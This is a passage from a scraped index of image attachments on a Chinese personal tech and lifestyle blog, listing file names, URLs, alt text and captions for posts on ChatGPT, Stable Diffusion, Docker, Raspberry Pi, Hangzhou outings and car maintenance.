1679154340-image - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e8%87%aa%e4%bb%8e%e7%94%a8%e4%ba%86chatgpt%e5%b0%b1%e5%8f%af%e4%bb%a5%e5%91%8a%e5%88%ab%e7%99%be%e5%ba%a6%e5%b9%bf%e5%91%8a%e6%90%9c%e7%b4%a2%e4%ba%86.html/attachment/1679154340-image ### 1679051809-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e8%a7%a3%e5%86%b3make-cc-%e6%b2%a1%e6%9c%89%e9%82%a3%e4%b8%aa%e6%96%87%e4%bb%b6%e6%88%96%e7%9b%ae%e5%bd%95%e9%97%ae%e9%a2%98.html/attachment/1679051809-image ### 1679051797-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e8%a7%a3%e5%86%b3make-cc-%e6%b2%a1%e6%9c%89%e9%82%a3%e4%b8%aa%e6%96%87%e4%bb%b6%e6%88%96%e7%9b%ae%e5%bd%95%e9%97%ae%e9%a2%98.html/attachment/1679051797-image ### 1678628722-pexels-photo-3653849 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/ubuntu-22-04-%e5%ae%89%e8%a3%85mysql.html/attachment/1678628722-pexels-photo-3653849 - **Alt Text**: himalayan salt lamp near laptop on wooden table - **Caption**: Photo by Andrea Davis on Pexels.com ### 1678628575-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/ubuntu-22-04-%e5%ae%89%e8%a3%85mysql.html/attachment/1678628575-image ### 1678627612-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/ubuntu-22-04-%e5%ae%89%e8%a3%85mysql.html/attachment/1678627612-image ### 1678535607-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-swarm-%e9%9b%86%e7%be%a4.html/attachment/1678535607-image ### 1678534738-pexels-photo-13843404 - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-swarm-%e9%9b%86%e7%be%a4%e8%a7%a3%e6%95%a3.html/attachment/1678534738-pexels-photo-13843404 - **Alt Text**: people walking on sidewalk in front of a cocktail bar - **Caption**: Photo by Nana Lapushkina on Pexels.com ### 1678534621-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-swarm-%e9%9b%86%e7%be%a4%e8%a7%a3%e6%95%a3.html/attachment/1678534621-image ### 1678373907-pexels-photo-911738 - **URL**: https://www.saiita.com.cn/1678373907-pexels-photo-911738 - **Alt Text**: white textile - **Caption**: Photo by gdtography on Pexels.com ### 1678373435-pexels-photo-267389 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373435-pexels-photo-267389 - **Alt Text**: android app blog blogging - **Caption**: Photo by Pixabay on Pexels.com ### 1678373240-Windows-chatgpt7 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373240-windows-chatgpt7 ### 1678373234-windows-chatgpt6 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373234-windows-chatgpt6 ### 1678373202-image - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373202-image ### 1678373129-windows-chatgpt5 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373129-windows-chatgpt5 ### 1678373110-windows-chatgpt4 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373110-windows-chatgpt4 ### 1678373066-windows-chatgpt4 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373066-windows-chatgpt4 ### 1678373021-windows-chatgpt3 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678373021-windows-chatgpt3 ### 1678372983-windows-chatgpt2 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678372983-windows-chatgpt2 ### 1678372954-windows-chatgpt1 - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678372954-windows-chatgpt1 ### 1678372916-Windows-chatgpt - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678372916-windows-chatgpt ### 1678372857-Windows - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/%e3%80%90%e4%bf%9d%e5%a7%86%e7%ba%a7%e6%95%99%e7%a8%8b%e3%80%91bing%e6%b7%bb%e5%8a%a0chatgpt%e6%95%99%e7%a8%8b.html/attachment/1678372857-windows ### 1678365048-pexels-photo-2425011 - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-swarm-%e9%9b%86%e7%be%a4.html/attachment/1678365048-pexels-photo-2425011 - **Alt Text**: orange and yellow neon lights - **Caption**: Photo by Stacey Gabrielle Koenitz Rozells on Pexels.com ### 1678364661-pexels-photo-1574843 - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-swarm-%e9%9b%86%e7%be%a4.html/attachment/1678364661-pexels-photo-1574843 - **Alt Text**: herd of animals on grass field near mountains - **Caption**: Photo by Temo Berishvili on Pexels.com ### 1678015572-pexels-photo-2909083 - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui-%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87.html/attachment/1678015572-pexels-photo-2909083 - **Alt Text**: scenic photo of clouds during daytime - **Caption**: Photo by Stanislav Kondratiev on Pexels.com ### 1677857267-pexels-photo-949587 - **URL**: https://www.saiita.com.cn/note/computer/software/software_recommendation/notion%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87.html/attachment/1677857267-pexels-photo-949587 - **Alt Text**: yellow bokeh photo - **Caption**: Photo by rovenimages.com on Pexels.com ### 1677856757-image - **URL**: https://www.saiita.com.cn/note/computer/software/software_recommendation/notion%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87.html/attachment/1677856757-image ### 1677856685-image - **URL**: https://www.saiita.com.cn/note/computer/software/software_recommendation/notion%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87.html/attachment/1677856685-image ### 1677845963-九号MMAX-110P - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e7%a6%85%e6%84%8f%e6%b9%96%e7%95%94%e6%9d%ad%e5%b7%9e%e5%85%88%e7%85%a7%e5%af%ba%e5%b8%a6%e6%9d%a5%e7%9a%84%e5%bf%83%e7%81%b5%e9%9d%99%e8%b0%a7.html/attachment/1677845963-%e4%b9%9d%e5%8f%b7mmax-110p ### 1677845953-杭州湘湖-先照寺 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e7%a6%85%e6%84%8f%e6%b9%96%e7%95%94%e6%9d%ad%e5%b7%9e%e5%85%88%e7%85%a7%e5%af%ba%e5%b8%a6%e6%9d%a5%e7%9a%84%e5%bf%83%e7%81%b5%e9%9d%99%e8%b0%a7.html/attachment/1677845953-%e6%9d%ad%e5%b7%9e%e6%b9%98%e6%b9%96-%e5%85%88%e7%85%a7%e5%af%ba ### 1677845387-杭州湘湖-下孙文化村_1 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%b9%98%e6%b9%96-%e4%b8%8b%e5%ad%99%e6%96%87%e5%8c%96%e6%9d%91.html/attachment/1677845387-%e6%9d%ad%e5%b7%9e%e6%b9%98%e6%b9%96-%e4%b8%8b%e5%ad%99%e6%96%87%e5%8c%96%e6%9d%91_1 ### 1677845363-杭州湘湖-下孙文化村 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%b9%98%e6%b9%96-%e4%b8%8b%e5%ad%99%e6%96%87%e5%8c%96%e6%9d%91.html/attachment/1677845363-%e6%9d%ad%e5%b7%9e%e6%b9%98%e6%b9%96-%e4%b8%8b%e5%ad%99%e6%96%87%e5%8c%96%e6%9d%91 ### 1677678605-00012-693533400 - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e3%80%90stable-diffusion-webui%e3%80%91%e6%af%8f%e6%97%a5%e4%b8%80%e4%b8%aa%e5%b0%8f%e5%a7%90%e5%a7%90.html/attachment/1677678605-00012-693533400 ### stable-diffusion-webui - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui.html/attachment/1677598359-snipaste_2023-02-27_22-54-22 - **Alt Text**: stable-diffusion-webui - **Caption**: stable-diffusion-webui - **Description**: stable-diffusion-webui ### stable-diffusion-webui - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui.html/attachment/1677598354-snipaste_2023-02-27_22-54-29 - **Alt Text**: stable-diffusion-webui - **Caption**: stable-diffusion-webui - **Description**: stable-diffusion-webui ### 1677415684-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui-%e8%ae%ad%e7%bb%83%e5%9b%be%e7%89%87.html/attachment/1677415684-image ### 1677415074-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui-%e8%ae%ad%e7%bb%83%e5%9b%be%e7%89%87.html/attachment/1677415074-image ### 1677415041-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui-%e8%ae%ad%e7%bb%83%e5%9b%be%e7%89%87.html/attachment/1677415041-image ### 1677414525-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/stable-diffusion-webui-%e8%ae%ad%e7%bb%83%e5%9b%be%e7%89%87.html/attachment/1677414525-image ### 1677326656-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677326656-image ### 1677326595-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677326595-image ### 1677326565-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677326565-image ### 1677326542-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677326542-image ### 1677324990-00004-2735215263 - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e7%94%9f%e6%88%90%e6%bc%82%e4%ba%ae%e5%b0%8f%e5%a7%90%e5%a7%90.html/attachment/1677324990-00004-2735215263 ### 1677323268-00001-1735215260 - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e7%94%9f%e6%88%90%e6%bc%82%e4%ba%ae%e5%b0%8f%e5%a7%90%e5%a7%90.html/attachment/1677323268-00001-1735215260 ### 1677322257-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e7%94%9f%e6%88%90%e6%bc%82%e4%ba%ae%e5%b0%8f%e5%a7%90%e5%a7%90.html/attachment/1677322257-image ### 1677317368-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677317368-image ### 1677316500-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677316500-image ### 1677316427-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677316427-image ### 1677316306-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-10-%e9%83%a8%e7%bd%b2%e5%ae%89%e8%a3%85stable-diffusion-webui.html/attachment/1677316306-image ### 1677298937-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e8%a7%a3%e5%86%b3%e6%89%93%e5%bc%80stable-diffusion-webui%e6%8a%a5couldnt-install-gfpgan.html/attachment/1677298937-image ### 1677251563-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e8%a7%a3%e5%86%b3%e6%89%93%e5%bc%80stable-diffusion-webui%e6%8a%a5couldnt-install-gfpgan.html/attachment/1677251563-image ### 1677251396-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e8%a7%a3%e5%86%b3%e6%89%93%e5%bc%80stable-diffusion-webui%e6%8a%a5couldnt-install-gfpgan.html/attachment/1677251396-image ### 1677248685-image - **URL**: https://www.saiita.com.cn/note/computer/ai/stable_diffusion_stability/%e8%a7%a3%e5%86%b3%e6%89%93%e5%bc%80stable-diffusion-webui%e6%8a%a5cuserschengappdatalocaltemppip-unpack-ocn4569vtorch-1-13-1cu117-cp310-cp310-win_amd64-whl-is-invali%e9%97%ae%e9%a2%98.html/attachment/1677248685-image ### 1676818425-海报logo - **URL**: https://www.saiita.com.cn/1676818425-%e6%b5%b7%e6%8a%a5logo ### 1676731593-image - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e6%a0%91%e8%8e%93%e6%b4%be%e6%b5%8b%e8%af%95sd%e5%8d%a1%e6%88%96%e8%80%85%e7%a1%ac%e7%9b%98%e7%9a%84%e8%af%bb%e5%86%99%e9%80%9f%e5%ba%a6.html/attachment/1676731593-image ### 1676731515-image - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e6%a0%91%e8%8e%93%e6%b4%be%e6%b5%8b%e8%af%95sd%e5%8d%a1%e6%88%96%e8%80%85%e7%a1%ac%e7%9b%98%e7%9a%84%e8%af%bb%e5%86%99%e9%80%9f%e5%ba%a6.html/attachment/1676731515-image ### 1676730596-image - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676730596-image ### 1676729866-B2-USB-Boot-Boot-from-USB-if-availableotherwise-boot-from-SD-Card - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676729866-b2-usb-boot-boot-from-usb-if-availableotherwise-boot-from-sd-card ### 1676729839-A6-Boot-Order - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676729839-a6-boot-order ### 1676729819-6-Advanced-Options - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676729819-6-advanced-options ### 1676729692-sudo-raspi-config - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676729692-sudo-raspi-config ### 1676728782-fdisk-l - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676728782-fdisk-l ### 1676727732-树莓派CM4-USB-xHC-init-failed - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e8%a7%a3%e5%86%b3%e6%a0%91%e8%8e%93%e6%b4%becm4%ef%bc%88compute-module-4%ef%bc%89-%e7%a1%ac%e7%9b%98%e5%90%af%e5%8a%a8%e5%87%ba%e7%8e%b0usb-xhc-init-failed.html/attachment/1676727732-%e6%a0%91%e8%8e%93%e6%b4%becm4-usb-xhc-init-failed ### 1676554474-ChatGPT - **URL**: https://www.saiita.com.cn/note/computer/ai/chatgpt/chatgpt-%e5%ae%8c%e5%85%a8%e5%8f%af%e4%bb%a5%e4%bd%9c%e4%b8%ba%e8%87%aa%e5%b7%b1%e7%9a%84%e5%8a%a9%e7%90%86%e5%92%8c%e8%80%81%e5%b8%88%e4%ba%86.html/attachment/1676554474-chatgpt ### 1676552313-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11%e7%b3%bb%e7%bb%9f%e6%80%8e%e4%b9%88%e6%89%93%e5%bc%80%e7%a8%8b%e5%ba%8f%e8%87%aa%e5%90%af%e5%8a%a8%e7%9b%ae%e5%bd%95.html/attachment/1676552313-image ### 1676552121-任务管理器-启动应用 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11%e7%b3%bb%e7%bb%9f%e6%80%8e%e4%b9%88%e6%89%93%e5%bc%80%e7%a8%8b%e5%ba%8f%e8%87%aa%e5%90%af%e5%8a%a8%e7%9b%ae%e5%bd%95.html/attachment/1676552121-%e4%bb%bb%e5%8a%a1%e7%ae%a1%e7%90%86%e5%99%a8-%e5%90%af%e5%8a%a8%e5%ba%94%e7%94%a8 ### 1676551990-Windows-找不到请检查拼写并重试 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11%e7%b3%bb%e7%bb%9f%e6%80%8e%e4%b9%88%e6%89%93%e5%bc%80%e7%a8%8b%e5%ba%8f%e8%87%aa%e5%90%af%e5%8a%a8%e7%9b%ae%e5%bd%95.html/attachment/1676551990-windows-%e6%89%be%e4%b8%8d%e5%88%b0%e8%af%b7%e6%a3%80%e6%9f%a5%e6%8b%bc%e5%86%99%e5%b9%b6%e9%87%8d%e8%af%95 ### 1676206250-Raspberry-Pi-永久设置 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676206250-raspberry-pi-yongjiushezhi ### 1676206242-Raspberry-Pi-语言设置 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676206242-raspberry-pi-yuyanshezhi ### 1676206233-Raspberry-Pi-Set-username-and-password-和配置WiFi - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676206233-raspberry-pi-set-username-and-password-hepeizhiwifi ### 1676206225-Raspberry-Pi-开启SSH服务 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676206225-raspberry-pi-kaiqisshfuwu ### 1676206216-Raspberry-Pi-设置主机名 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676206216-raspberry-pi-shezhizhujiming ### 1676205998-Raspberry-Pi-设置 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676205998-raspberry-pi-shezhi ### 1676205971-Raspberry-Pi-选择系统 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/raspberry-pi-imager-gongjuxieruxitongshezhidengluzhanghuhewifizhanghu.html/attachment/1676205971-raspberry-pi-xuanzexitong ### 1676203721-树莓派cm4-emmc写入系统 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/ruhebaxitongxierudaoshumeipaicm4deemmc.html/attachment/1676203721-shumeipaicm4-emmcxieruxitong ### 1676180684-image - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180684-image ### 1676180572-image - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180572-image ### 1676180482-虚拟机添加硬盘设置文件大小 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180482-xunijitianjiayingpanshezhiwenjiandaxiao ### 1676180372-虚拟机添加硬盘创建中 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180372-xunijitianjiayingpanchuangjianzhong ### 1676180305-虚拟机添加硬盘-Pre-allocate-Full-Size - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180305-xunijitianjiayingpan-pre-allocate-full-size ### 1676180257-虚拟机添加硬盘 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180257-xunijitianjiayingpan ### 1676180177-image - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180177-image ### 1676180048-image - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676180048-image ### 1676179960-image - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676179960-image ### 1676178902-虚拟电脑导入设置 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676178902-xunidiannaodaorushezhi ### 1676178686-导入虚拟电脑-OneThine - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676178686-daoruxunidiannao-onethine ### 1676178588-Oracle-VM-VirtualBox - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676178588-oracle-vm-virtualbox ### 1676178511-导入虚拟电脑 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676178511-daoruxunidiannao ### 1676176987-网心云收益 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/xianzhidiannaobushuwangxinyunzhuanqian.html/attachment/1676176987-wangxinyunshouyi ### 1676110549-树莓派CM4-Super6c-ITX-集群 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/jintiangaohuaiyigeshumeipaicm4hexinban.html/attachment/1676110549-shumeipaicm4-super6c-itx-jiqun ### 1676110481-树莓派CM4 - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/jintiangaohuaiyigeshumeipaicm4hexinban.html/attachment/1676110481-shumeipaicm4 ### 1675697731-杭州元宵节烟花5 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675697731-hangzhouyuanxiaojieyanhua5 ### 1675697724-杭州元宵节烟花1 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675697724-hangzhouyuanxiaojieyanhua1 ### 1675697720-杭州元宵节烟花3 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675697720-hangzhouyuanxiaojieyanhua3 ### 1675697704-杭州元宵节烟花2 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675697704-hangzhouyuanxiaojieyanhua2 ### 1675697680-杭州元宵节烟花 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675697680-hangzhouyuanxiaojieyanhua ### 1675697650-杭州元宵节烟花4 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675697650-hangzhouyuanxiaojieyanhua4 ### 1675696806-杭州元宵节烟花街上到处都是人 - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/hangzhouyuanxiaojieyanhua.html/attachment/1675696806-hangzhouyuanxiaojieyanhuajieshangdaochudoushiren ### 1675583802-image - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/wordpress-zidonglianjieshezhisousuoyinqingyinghuluecilianjie.html/attachment/1675583802-image ### 1675583569-搜索引擎应忽略此链接 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/wordpress-zidonglianjieshezhisousuoyinqingyinghuluecilianjie.html/attachment/1675583569-sousuoyinqingyinghuluecilianjie ### 1675581665-image - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/jiejuewordpressgengxinchajianbaocuowenticlass-wp-textdomain-registry-php-on-line-103.html/attachment/1675581665-image ### 1675581552-image - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/jiejuewordpressgengxinchajianbaocuowenticlass-wp-textdomain-registry-php-on-line-103.html/attachment/1675581552-image ### 1675577937-Jeep_Freeman_manually_updates_the_air_filter_element_5 - **URL**: https://www.saiita.com.cn/note/jeep_renegade/jeep-freeman-manually-updates-the-air-filter-element.html/attachment/1675577937-jeep_freeman_manually_updates_the_air_filter_element_5 ### 1675577903-Jeep_Freeman_manually_updates_the_air_filter_element_4 - **URL**: https://www.saiita.com.cn/note/jeep_renegade/jeep-freeman-manually-updates-the-air-filter-element.html/attachment/1675577903-jeep_freeman_manually_updates_the_air_filter_element_4 ### 1675577855-Jeep_Freeman_manually_updates_the_air_filter_element_3 - **URL**: https://www.saiita.com.cn/note/jeep_renegade/jeep-freeman-manually-updates-the-air-filter-element.html/attachment/1675577855-jeep_freeman_manually_updates_the_air_filter_element_3 ### 1675577810-Jeep_Freeman_manually_updates_the_air_filter_element_2 - **URL**: https://www.saiita.com.cn/note/jeep_renegade/jeep-freeman-manually-updates-the-air-filter-element.html/attachment/1675577810-jeep_freeman_manually_updates_the_air_filter_element_2 ### 1675577784-Jeep_Freeman_manually_updates_the_air_filter_element_1 - **URL**: https://www.saiita.com.cn/note/jeep_renegade/jeep-freeman-manually-updates-the-air-filter-element.html/attachment/1675577784-jeep_freeman_manually_updates_the_air_filter_element_1 ### 1675520407-三体-ChatGPT - **URL**: https://www.saiita.com.cn/note/life_essays/jintiankanlesantidi20jiranhouwenlechatgpt.html/attachment/1675520407-santi-chatgpt ### 1675433205-四川省卫健委发布《四川省生育登记服务办法》,生育登记将取消结婚限制、取消数量限制 - **URL**: https://www.saiita.com.cn/1675433205-sichuanshengweijianweifabusichuanshengshengyudengjifuwubanfashengyudengjijiangquxiaoban-2 ### 1675433205-四川省卫健委发布《四川省生育登记服务办法》,生育登记将取消结婚限制、取消数量限制 - **URL**: https://www.saiita.com.cn/1675433205-sichuanshengweijianweifabusichuanshengshengyudengjifuwubanfashengyudengjijiangquxiaoban ### 1675257049-image - **URL**: 